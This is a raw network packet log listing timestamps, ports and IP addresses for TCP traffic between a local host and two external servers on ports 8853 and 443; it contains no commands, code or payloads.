Jan 8, 2025 07:15:03.852536917 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.852549076 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.852560997 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:03.852566957 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.852605104 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:03.852689028 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.852700949 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.852711916 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.852724075 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.852736950 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.852736950 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:03.852766991 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:03.852803946 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:03.857398033 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.857420921 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.857568026 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.078187943 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.078223944 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.078233957 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.078263998 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.078278065 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.078284979 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.078330994 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.078412056 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.078428030 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.078474045 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.079073906 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.079119921 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.079132080 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.079133987 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.079169989 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.079267979 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.079278946 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.079332113 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.080012083 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.080024004 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.080034971 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.080075026 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.080132008 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.080203056 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.080502987 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.080557108 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.080569029 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.080616951 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.080662966 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.080673933 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.080786943 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.081418991 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.081468105 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.083170891 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.124387026 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.310664892 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.310695887 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.310708046 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.310743093 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.310833931 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.310846090 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.310857058 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.310869932 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.310894012 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.310924053 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.311156988 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.311168909 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.311180115 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.311214924 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.311245918 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.311258078 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.311269045 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.311280012 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.311292887 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.311321020 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.311343908 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.311954021 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.311974049 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.311985970 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.312031031 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.312112093 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.312170982 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.312185049 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.312196970 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.312207937 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.312228918 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.312903881 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.312915087 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.312926054 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.312951088 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.312988043 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.313060045 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.313071966 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.313082933 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.313093901 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.313113928 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.313139915 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.313780069 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.313796043 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.313807964 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.313837051 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.313839912 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.313848019 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.313858986 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.313893080 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.313909054 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.396918058 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.396929979 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.397078037 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.530256033 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530275106 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530287981 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530301094 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530313015 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530313969 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.530324936 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530347109 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530352116 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.530359030 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530369997 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530374050 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.530381918 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530396938 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530397892 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.530417919 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.530498028 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530508995 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530520916 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530543089 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.530569077 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.530985117 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.530996084 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531008005 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531070948 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.531102896 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531117916 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531128883 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531141043 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531160116 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.531183958 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.531347990 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531359911 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531373024 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531383038 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531393051 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.531404972 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.531819105 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531832933 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531847000 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.531863928 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.531893015 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.531934977 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:04.536746979 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:04.697570086 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:04.697663069 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:04.698662043 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:04.698709965 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:04.870995045 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:04.871018887 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:04.871411085 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:04.871476889 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:04.877402067 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:04.919342995 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.222997904 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.223021984 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.223038912 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.223088026 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.223133087 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.223143101 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.223193884 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.309952021 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.309972048 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.310040951 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.310056925 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.310101032 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.311079025 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.311094999 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.311160088 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.311167002 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.315021038 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.390753031 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.390773058 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.390860081 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.390870094 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.391110897 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.396420002 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.396435022 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.396513939 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.396524906 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.397202969 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.397367954 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.397382975 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.397452116 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.397459984 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.398287058 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.398307085 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.398355961 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.398370028 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.398380041 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.398412943 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.477685928 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.477704048 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.477781057 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.477793932 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.478415012 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.478441000 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.478477001 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.478483915 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.478514910 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.478542089 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.483546972 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.483563900 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.483633041 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.483640909 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.483675957 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.483695030 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.487740993 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.487757921 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.487824917 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.487833023 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.491121054 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.498301029 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.498320103 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.498398066 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.498405933 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.499175072 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.510607958 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.510622978 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.510723114 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.510730982 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.510773897 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.522897959 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.522918940 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.522984982 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.522993088 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.523044109 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.564538956 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.564605951 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.564608097 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.564620972 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.564662933 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.565454006 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.565469027 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.565520048 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.565529108 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.565556049 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.565565109 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.566328049 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.566342115 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.566390991 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.566397905 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.566436052 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.570300102 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.570316076 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.570346117 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.570383072 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.570386887 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.570444107 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.580671072 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.580688000 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.580771923 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.580781937 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.580790043 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.580817938 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.590991974 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.591011047 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.591078997 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.591089010 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.591248035 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.697685003 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.697709084 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.697768927 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.697794914 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.697809935 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.697837114 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.707380056 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.707408905 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.707438946 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.707448006 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.707480907 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.707495928 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.718741894 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.718765020 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.718857050 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.718866110 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.718913078 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.728418112 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.728437901 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.728481054 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.728490114 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.728514910 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.728537083 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.739830971 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.739854097 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.739885092 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.739891052 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.739917040 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.739929914 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.751162052 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.751182079 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.751223087 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.751230955 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.751255035 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.751281977 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.760618925 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.760637999 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.760674000 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.760682106 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.760715961 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.760734081 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.772023916 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.772043943 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.772110939 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.772120953 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.772228003 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.784470081 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.784491062 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.784529924 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.784537077 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.784562111 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.784579992 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.792330027 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.792354107 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.792392015 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.792398930 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.792426109 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.792440891 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.803890944 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.803919077 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.803971052 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.803977966 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.804008961 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.804023027 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.813785076 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.813805103 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.813843966 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.813853025 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.813882113 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.813906908 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.823071957 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.823095083 CET	443	49732	47.79.48.230	192.168.2.4
